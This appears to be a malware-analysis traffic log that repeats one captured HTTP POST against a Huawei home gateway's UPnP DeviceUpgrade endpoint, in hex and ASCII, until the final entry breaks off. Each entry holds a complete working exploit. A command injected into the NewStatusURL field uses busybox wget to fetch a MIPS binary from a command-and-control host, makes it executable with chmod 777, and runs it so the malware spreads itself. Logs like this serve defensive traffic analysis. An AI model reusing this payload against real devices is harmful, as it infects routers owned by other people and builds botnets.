Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 